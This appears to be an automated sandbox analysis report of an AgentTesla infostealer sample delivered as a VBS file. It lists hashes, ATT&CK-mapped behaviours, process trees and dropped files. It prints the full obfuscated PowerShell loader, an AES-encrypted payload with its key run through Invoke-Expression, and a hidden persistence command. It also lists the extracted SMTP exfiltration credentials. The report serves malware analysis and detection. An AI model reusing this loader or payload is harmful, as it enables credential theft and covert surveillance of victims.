agenttesla | 18f41f2a39ff37e43e2a8e01b0447d613257682929e0d5383458935d8279773c

General

Target

PO_0CT01.vbs
Size

159KB
MD5

dcef6132db05f9704623b495b05c1e4a
SHA1

ec64670ba9e10bf41fa634be3f8b7c5bec0f719b
SHA256

18f41f2a39ff37e43e2a8e01b0447d613257682929e0d5383458935d8279773c
SHA512

6c4eef2875783152687021060b390269e7de5756bcdf45f26880a83a8b65e99240483be5cf72caec6210c706060b53f03ebbf49a46685b4b747fa9c1e27b5b5d
SSDEEP

1536:vSBSNS2SNSJSNSImSNSzSNSmSNS8SNSySNSaSNS1SP:v0YzYsYeYmYTY5YHYPYQg

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.dlewarez.info
Port:
587
Username:
[email protected]
Password:
esubwDViXlQ2@@##
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

11 3436 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3455265224-196869244-2056873367-1000\Control Panel\International\Geo\Nation WScript.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LnkName.lnk powershell.exe
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

32 api.ipify.org
33 api.ipify.org
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3436 set thread context of 2288 3436 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4320 2288 WerFault.exe RegAsm.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

pid process

3436 powershell.exe
3436 powershell.exe
640 powershell.exe
640 powershell.exe
2288 RegAsm.exe
2288 RegAsm.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeRegAsm.exe

description pid process

Token: SeDebugPrivilege 3436 powershell.exe
Token: SeDebugPrivilege 640 powershell.exe
Token: SeDebugPrivilege 2288 RegAsm.exe

flow	pid	process
11	3436	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3455265224-196869244-2056873367-1000\Control Panel\International\Geo\Nation	WScript.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LnkName.lnk	powershell.exe

flow	ioc
32	api.ipify.org
33	api.ipify.org

description	pid	process	target process
PID 3436 set thread context of 2288	3436	powershell.exe	RegAsm.exe

pid	pid_target	process	target process
4320	2288	WerFault.exe	RegAsm.exe

pid	process
3436	powershell.exe
3436	powershell.exe
640	powershell.exe
640	powershell.exe
2288	RegAsm.exe
2288	RegAsm.exe

description	pid	process
Token: SeDebugPrivilege	3436	powershell.exe
Token: SeDebugPrivilege	640	powershell.exe
Token: SeDebugPrivilege	2288	RegAsm.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 2936 wrote to memory of 3436	2936	WScript.exe	powershell.exe
PID 2936 wrote to memory of 3436	2936	WScript.exe	powershell.exe
PID 3436 wrote to memory of 640	3436	powershell.exe	powershell.exe
PID 3436 wrote to memory of 640	3436	powershell.exe	powershell.exe
PID 3436 wrote to memory of 2288	3436	powershell.exe	RegAsm.exe
PID 3436 wrote to memory of 2288	3436	powershell.exe	RegAsm.exe
PID 3436 wrote to memory of 2288	3436	powershell.exe	RegAsm.exe
PID 3436 wrote to memory of 2288	3436	powershell.exe	RegAsm.exe
PID 3436 wrote to memory of 2288	3436	powershell.exe	RegAsm.exe
PID 3436 wrote to memory of 2288	3436	powershell.exe	RegAsm.exe
PID 3436 wrote to memory of 2288	3436	powershell.exe	RegAsm.exe
PID 3436 wrote to memory of 2288	3436	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO_0CT01.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2936

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function Decrypt-AESEncryption{Param([String]$CBGNKODNPÇ,[String]$Keygfhfghfgiy)$OGjnLfnOaç = New-Object System.Security.Cryptography.AesManaged;$OGjnLfnOaç.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OGjnLfnOaç.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$OGjnLfnOaç.BlockSize = 128;$OGjnLfnOaç.KeySize = 256;$OGjnLfnOaç.Key = (New-Object System.Security.Cryptography.SHA256Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Keygfhfghfgiy));$BxwZvbgNLo = [System.Convert]::FromBase64String($CBGNKODNPÇ);$OGjnLfnOaç.IV = $BxwZvbgNLo[0..15];$decryptor = $OGjnLfnOaç.CreateDecryptor();$geLJgUoUQL = $decryptor.TransformFinalBlock($BxwZvbgNLo, 16, $BxwZvbgNLo.Length - 16);$OGjnLfnOaç.Dispose();return [System.Text.Encoding]::UTF8.GetString($geLJgUoUQL).Trim([char]0)}$qROuE = '23176310927586413792';$MqDDxKjJmA = 'FoGLCjqpRliJQi11hCtAOF81slvtFOGU9rZ8dC2DlzWrXEyqWGUQQOHJW5CgkrG9HiJw7HT3KtpsBMjn67ekbpqApBChPtQ/ihi0Nt9z8FNBigpDUVbRtDnwD3Tu6oXpHJLJel6aki1Gm2uQ3RuL+5aSgMLijD4gm6JOGiRWUd+DQTgbDbPxZ6oFmyZwkklfZaNnTUrdcpDLK4js4xG5iZVC3zKEpr76zZsUNix/qoSgK2oeIt45qYtT+EhJoxac39p4cS6IFEob0SYg6VlOCgDluaQvAF4RB2tcFPxfgIuTH1FNl6/Eh9WYo20z/3lwNsHmSbQcHGjhL8cM+ohh5m3hT6JOP7MvwDmFe6HqMDvZ7qRIno7IKJdbRac/vxw84zDypr7pF6HDobu0F/cArm5HCyQ+SkgWSEvzCOp3Mpj1HL9kjiiysv3IPllMuWG5F2W9IN8n0u8aCKMMph1skC9W3mYwLv2bVNqzOV1YeGj9oayIf6BmVQlKi39Fv39mocGla8Z74nek8ELKCP9pHXdL8KjXUQercNkF3xKjdsC/Fx1bn+HHzXw3YABqH6U0CA4bqBLyNJuFlN9F1KmeZh/qEYHrWFJvlUV8YcXDYn8f5aK4RwqaaKE5GgFslt39QkHEkYtd4ijirDyGZ08vMTVNd5qxgSJmbAMhkzpfdIyywqXvUBz213IP+o0HfT0A0MgCisgtdX4i5xJZ0kB4azjFZ8PpSfO87gVtgE4jJhsWK9w7FOAZgaNj0i6ovZ7fsK2XXa4GIgF3UajMao5ITbyi3/rb3ANXX+zIUBb+U7DumftlEauMlYY09L9Nh+y1eeHK17CBzcEAILXg56LQJrv6rE3sFaWkAnmUlIUpGNT+SwBTZkK080gVlk2jrY6qJ+eb1d1kK49HlqvKT8bM1EK+nOEvOSyzlIL2ogfhjs6o2a24qtsD9Fh9ou+zbo3aZLK0VwfZx+4gaYQgREUtctIFT9uxSsPMhikmm9fLDZp21+SIzwfSM2fCG1KP56d3jePTR9lhXrZYqX2P9zLNviWqm+jwwURjmeEljvzioyhzmtJ+z5Cr1Pl/w87XTBliumSakj6M86L1Phi0ZORYzicjvALjdsa0GhwyOaOkULl99w8dEwJiZvF6SP/FB3JiYrF3rdqXlLGcZwvZ4xVIoprzWyb98JbKykcExHMBepLzGCe4ca773/Ikiv8lFXJI31KLYJShBcWnUe1lIk7hTZCCP0d8BUEdE3d4fumE3KN8MuyvO7VyzBEGsCKd5QoEW6fKJNl9Y30jwALwq+rhfUMv0Xyxj93w8eApWbx/zh5RaBjmY9ifQETWKwK3tT+LaLdd1Ww/vvPPbAr/HedbdlVdxT1KTyFGExQjSBWDeotvmUkcD6+usolisMw7y93SbQys388JGPJSQCADs5ULDDbE04R2eWBgnUSHSrl57Mp6EVKBhoIVYym6V8lSbq/nQNr7LeeAHuxr98QbQNdu3aguSrF8Mw6yY5pwfhqFl4elRXiP/9/hSD9WZEcSPrs8jeZlgK17K+vxfzr0jg2JL0B5gAyTanNw+zQkmANpOhkMj4ilJ5+dRFMTT7/JW12ZnclRQFtBtTtFgW9qeLzWaE5N2OLr3MTcux2+/OxiSdSUM9paK2l1wALhUoIp1I/TWxQsbyE0dFMC40Qes/fQl4QuMWm7C+xV3hxnHC9Np+zl5gj4M4J35KIB4hWYxmTHvYKeNU6amsgzAvKnToKUqQ==';$GmtBWLkcKU = Decrypt-AESEncryption -CBGNKODNPÇ $MqDDxKjJmA -Key $qROuE;Invoke-Expression $GmtBWLkcKU
2⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3436

C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\VbsName.vbs
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:640

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2288

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2288 -s 2080
4⤵
- Program crash
PID:4320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 2288 -ip 2288
1⤵
PID:4380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
2KB

MD5
07527a21f5020fbfa90235e555fb3d12

SHA1
040725c73329b1d6e5ec6296e2e2d07b4d9c511d

SHA256
0b9c4de2cd7194ff554740fa652b00731f8c0fb3d9270698d0be8619d8febdfc

SHA512
00cde9bc2fbeba684c616fe6d7a53b06b9518c16b13d00a84e5813e4083bce41f8dd1ec78c41e3fe6cf32777a975154b348e302b36554cf98773876526e18af5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5xdyf2j0.ryd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/640-31-0x000001707C070000-0x000001707C080000-memory.dmp

Filesize
64KB

Download
memory/640-20-0x000001707C070000-0x000001707C080000-memory.dmp

Filesize
64KB

Download
memory/640-21-0x000001707C070000-0x000001707C080000-memory.dmp

Filesize
64KB

Download
memory/640-19-0x00007FFD62A90000-0x00007FFD63551000-memory.dmp

Filesize
10.8MB

Download
memory/640-36-0x00007FFD62A90000-0x00007FFD63551000-memory.dmp

Filesize
10.8MB

Download
memory/2288-42-0x0000000074B90000-0x0000000075340000-memory.dmp

Filesize
7.7MB

Download
memory/2288-37-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/2288-43-0x00000000054B0000-0x0000000005A54000-memory.dmp

Filesize
5.6MB

Download
memory/2288-44-0x0000000004D70000-0x0000000004D80000-memory.dmp

Filesize
64KB

Download
memory/2288-45-0x0000000004F00000-0x0000000004F66000-memory.dmp

Filesize
408KB

Download
memory/2288-46-0x0000000074B90000-0x0000000075340000-memory.dmp

Filesize
7.7MB

Download
memory/3436-14-0x000001AF9DF60000-0x000001AF9E706000-memory.dmp

Filesize
7.6MB

Download
memory/3436-18-0x000001AF9DC60000-0x000001AF9DC7E000-memory.dmp

Filesize
120KB

Download
memory/3436-17-0x000001AF9DCA0000-0x000001AF9DD16000-memory.dmp

Filesize
472KB

Download
memory/3436-16-0x000001AF9D550000-0x000001AF9D55A000-memory.dmp

Filesize
40KB

Download
memory/3436-41-0x00007FFD62A90000-0x00007FFD63551000-memory.dmp

Filesize
10.8MB

Download
memory/3436-0-0x000001AF9D230000-0x000001AF9D252000-memory.dmp

Filesize
136KB

Download
memory/3436-13-0x000001AF82A80000-0x000001AF82A90000-memory.dmp

Filesize
64KB

Download
memory/3436-12-0x000001AF82A80000-0x000001AF82A90000-memory.dmp

Filesize
64KB

Download
memory/3436-11-0x000001AF82A80000-0x000001AF82A90000-memory.dmp

Filesize
64KB

Download
memory/3436-10-0x00007FFD62A90000-0x00007FFD63551000-memory.dmp

Filesize
10.8MB

Download

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